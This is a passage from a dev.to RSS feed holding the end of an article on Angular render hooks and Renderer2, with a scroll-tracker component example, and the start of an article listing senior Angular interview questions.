      &lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;elements&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;divTop&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;elements&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;divTop&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scrollHeight&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollHeight&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;clientHeight&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clientHeight&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scrollTop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollTop&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;scrolled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
          &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scrollTop&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;scrollHeight&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;clientHeight&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nx"&gt;divTop&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;innerText&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`Scroll: &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;scrolled&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;%`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One question I was wondering about is whether to use &lt;code&gt;afterEveryRender&lt;/code&gt; or maybe reach out to &lt;code&gt;Renderer2&lt;/code&gt; and apply listeners? The example with scroll percentage could be adjusted to use  &lt;code&gt;Renderer2&lt;/code&gt; as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;app-scroll-tracker&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;standalone&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;`
    &amp;lt;p&amp;gt;Scroll: {{ scrollPercent() }}%&amp;lt;/p&amp;gt;

    &amp;lt;div #divRef style="height: 200px; overflow-y: scroll;"&amp;gt;
      &amp;lt;div style="height: 1000px; background: lightblue"&amp;gt;&amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
  `&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ScrollTrackerComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;renderer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Renderer2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;destroyRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;DestroyRef&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;divRef&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;viewChild&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ElementRef&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;HTMLDivElement&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;divRef&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;scrollPercent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;signal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="c1"&gt;// reference to the listener to destroy it with the component&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="nx"&gt;removeListener&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;void&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nf"&gt;afterNextRender&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;earlyRead&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;divRef&lt;/span&gt;&lt;span class="p"&gt;()?.&lt;/span&gt;&lt;span class="nx"&gt;nativeElement&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;box&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;box&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;removeListener&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;box&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;scroll&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;percent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;round&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;box&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollTop&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;box&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollHeight&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;box&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;clientHeight&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
          &lt;span class="p"&gt;);&lt;/span&gt;
          &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollPercent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;});&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="c1"&gt;// destroy listener with the component&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;destroyRef&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onDestroy&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;removeListener&lt;/span&gt;&lt;span class="p"&gt;?.();&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33grjpkbswonrd6kkys2.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F33grjpkbswonrd6kkys2.gif" alt="Scroll Counter Attached Using Renderer2" width="531" height="361"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Seems like there is always more than one solution for a problem. My understanding on the difference between these two is that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Renderer2&lt;/code&gt; is used when we want to attach some listeners or render on the DOM&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;afterEveryRender&lt;/code&gt; is used when we want to fire a callback once DOM painting is done&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When is comes to the scroll example, the &lt;code&gt;Renderer&lt;/code&gt; example makes more sense, since we track the scroll position (an event based behavior), however if we were want to scroll to the bottom of the page every time a new information is presented on the screen, in that case, &lt;code&gt;afterEveryRender&lt;/code&gt; would be a more preferable option.&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;All in all, these tools don’t replace each other, but complement different needs. If your logic is purely reactive state, reach for &lt;code&gt;effect&lt;/code&gt;. If it depends on the DOM, use &lt;code&gt;afterRenderEffect&lt;/code&gt;. For one-time DOM adjustments after the first paint, use &lt;code&gt;afterNextRender&lt;/code&gt;. If your logic needs to be executed on every DOM re-render, use &lt;code&gt;afterEveryRender&lt;/code&gt;. Finally, &lt;code&gt;Renderer2&lt;/code&gt; is a universal way to attach listeners and manipulate the DOM without risking SSR crashes.&lt;/p&gt;

&lt;p&gt;Hope you liked the article and I was able to provide some explanation on these functions. They were causing some confusion, at least for me, hence I decided to go deeper with them and try to explain them with my own words. Feel free to share your thoughts, catch more of my articles on&amp;nbsp;&lt;a href="https://dev.to/krivanek06?ref=angularspace.com"&gt;dev.to&lt;/a&gt;, connect with me on&amp;nbsp;&lt;a href="https://www.linkedin.com/in/eduard-krivanek?ref=angularspace.com" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&amp;nbsp;or check my&amp;nbsp;&lt;a href="https://eduardkrivanek.com" rel="noopener noreferrer"&gt;Personal Website&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgx46g0718990syyla7sb.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgx46g0718990syyla7sb.jpg" alt="Article Reviewers" width="800" height="424"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>angular</category>
    </item>
    <item>
      <title>Senior Angular Interview Questions</title>
      <dc:creator>Eduard Krivanek</dc:creator>
      <pubDate>Tue, 29 Jul 2025 11:17:39 +0000</pubDate>
      <link>https://dev.to/playfulprogramming-angular/senior-angular-interview-questions-ji0</link>
      <guid>https://dev.to/playfulprogramming-angular/senior-angular-interview-questions-ji0</guid>
      <description>&lt;p&gt;Lately, I've been interviewing candidates for a Senior Angular Developer role, and I've ended up rejecting the majority of them. Am I a jerk for that? Maybe. But here's what I've realized from these interviews: we live in a bubble. The article was initially published on &lt;a href="https://www.angularspace.com/senior-angular-interview-questions/" rel="noopener noreferrer"&gt;Angular Spaces&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Most of us spend our day-to-day work calling APIs, caching data, and displaying it to users. We do this for years, and it leads us to believe we've mastered frontend development, especially a framework like Angular.&lt;/p&gt;

&lt;p&gt;With this article, I want to walk through some of the technical questions I like to ask during interviews, all while exploring a deeper thought: &lt;strong&gt;"Am I really a senior developer, or do I just think I am?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before diving into the questions and sample answers, there's a broader discussion worth mentioning: &lt;strong&gt;Who's more valuable - a generalist or a specialist?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Someone who's worked across many domains (CI/CD, backend, databases, frontend, etc.), or someone who's deeply specialized in a single technology and only has surface level knowledge of the rest? That's a question only the interviewer can answer, based on the needs of the team. In my case, I was always looking for a specialist, hence following list of Angular focused interview questions. Finally, this is my personal list, feel free to critique or customize it for your own hiring process.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;General Questions:

&lt;ul&gt;
&lt;li&gt;What does it mean to be a senior developer ?&lt;/li&gt;
&lt;li&gt;Do you prefer declarative or imperative programming?&lt;/li&gt;
&lt;li&gt;Would you use a state management library or a custom implementation?&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Angular Questions - General:

&lt;ul&gt;
&lt;li&gt;How would you achieve a parent - child component communication ?&lt;/li&gt;
&lt;li&gt;What is the role of &lt;code&gt;NgZone&lt;/code&gt; in Angular, and when would you opt out of Angular's change detection?&lt;/li&gt;
&lt;li&gt;What is and when to use an Injection Token ?&lt;/li&gt;
&lt;li&gt;What are resolution modifiers and how to use them ?&lt;/li&gt;
&lt;li&gt;Why would you use a &lt;code&gt;track&lt;/code&gt; function in a for-loop and how it works ?&lt;/li&gt;
&lt;li&gt;What is the the difference between &lt;code&gt;providers&lt;/code&gt; and &lt;code&gt;viewProviders&lt;/code&gt; ? Can you provide an example when to use either of them ?&lt;/li&gt;
&lt;li&gt;Why &lt;code&gt;pipes&lt;/code&gt; are considered safe in a template, but regular function calls (not signals) are not ?&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Angular Questions - Signals:

&lt;ul&gt;
&lt;li&gt;How would you convince your team to migrate a project from Observables to signals ?&lt;/li&gt;
&lt;li&gt;Can you explain the diamond problem in Observables and why it doesn't occur with signals?&lt;/li&gt;
&lt;li&gt;When to use &lt;code&gt;effect&lt;/code&gt; and &lt;code&gt;untracked&lt;/code&gt; in a signal based application ?&lt;/li&gt;
&lt;li&gt;Are life-cycle hooks still needed in a fully signal based application ?&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Angular Questions - RxJS:

&lt;ul&gt;
&lt;li&gt;What is a higher-order observable and how they differ ?&lt;/li&gt;
&lt;li&gt;What is the difference between &lt;code&gt;share()&lt;/code&gt; and &lt;code&gt;shareReplay()&lt;/code&gt; ?&lt;/li&gt;
&lt;li&gt;What does this code do ? - &lt;code&gt;scan()&lt;/code&gt; + &lt;code&gt;expand()&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  General Questions
&lt;/h2&gt;

&lt;p&gt;These are my go to questions at the very start of the interview process. There are no right or wrong answers here, what I'm really interested in is the developer's personality and thinking style. After all, this is someone who will be working closely with me and the rest of the team, and ideally, we want people who share a similar mindset or programming philosophy.&lt;/p&gt;

&lt;h3&gt;
  
  
  What does it mean to be a senior developer ?
&lt;/h3&gt;

&lt;p&gt;This question helps me understand how I should approach the person I'm interviewing. As I mentioned earlier, there's often a pendulum swing between being a generalist and a specialist, so I like to hear how the candidate defines a senior developer. Most answers I get sound something like:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"&lt;em&gt;Understanding the framework (Angular) very well and mentoring junior developers.&lt;/em&gt;"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's a pretty standard response, and I usually follow it up with:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"&lt;em&gt;Alright, so if a senior should know the framework really well, is it okay for me to ask hard questions and expect you will be able to provide answers for them?&lt;/em&gt;"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What I'm really trying to grasp is how the candidate sees themselves, whether they feel they've reached a senior level and whether they've dealt with complex, challenging problems. This way, we set some expectations for the interview process, not defined by me, but by the candidate themselves. &lt;/p&gt;

&lt;p&gt;Personally, I have a slightly broader view of what makes someone a senior developer. Yes, you should understand the framework well, but I'd also expect you to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Initiate and lead technical improvements, like addressing tech debt, and be able to pitch those ideas to higher ups.&lt;/li&gt;
&lt;li&gt;Push back (respectfully) on product or feature decisions that don't make sense or may harm long-term goals of the product.&lt;/li&gt;
&lt;li&gt;Know how to give and receive feedback during code reviews.&lt;/li&gt;
&lt;li&gt;Recognize when to Google something, when to ask a peer, and when it's worth gathering a few people for a brainstorming session.&lt;/li&gt;
&lt;li&gt;Care about the product and collaborate closely with product owners.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Do you prefer declarative or imperative programming?
&lt;/h3&gt;

&lt;p&gt;You might say this is a theoretical question, and it is, but I like to ask it because it reveals how candidates think about code structure and maintainability. Most candidates respond with, &lt;em&gt;“I don't know the difference”&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;If you Google this question, you'll see something like: “&lt;em&gt;Declarative programming focuses on what needs to be done, while imperative programming focuses on how to do it”&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;In Angular terms, here's one way to think about it. Imperative programming involves mutating variables in multiple places, often with manual logic to track side effects. Declarative programming, by contrast, involves defining a value or behavior in one place, often through &lt;code&gt;computed&lt;/code&gt;, &lt;code&gt;signal&lt;/code&gt;, or &lt;code&gt;RxJS&lt;/code&gt; streams. I highly recommend checking out &lt;a href="https://www.youtube.com/watch?v=Fr9e9Fo6iMw" rel="noopener noreferrer"&gt;Joshua Morony's video&lt;/a&gt; on this topic. Here is a coding example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Imperative Programming&lt;/span&gt;
&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="nd"&gt;Component&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;` ... `&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;ChildComponent&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;wsService&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;WsService&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;readonly&lt;/span&gt; &lt;span class="nx"&gt;apiService&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;inject&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ApiService&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="nx"&gt;displayedData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;signal&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;([]);&lt;/span&gt;

  &lt;span class="nf"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
    &lt;span class="c1"&gt;// load existing data&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;apiService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;existingData$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;displayedData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="c1"&gt;// listen on WS new data push&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;wsService&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;newData$&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;subscribe&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;displayedData&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[...&lt;/span&gt;&lt;span class="nx"&gt;current&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Declarative Programming&lt;/span&gt;
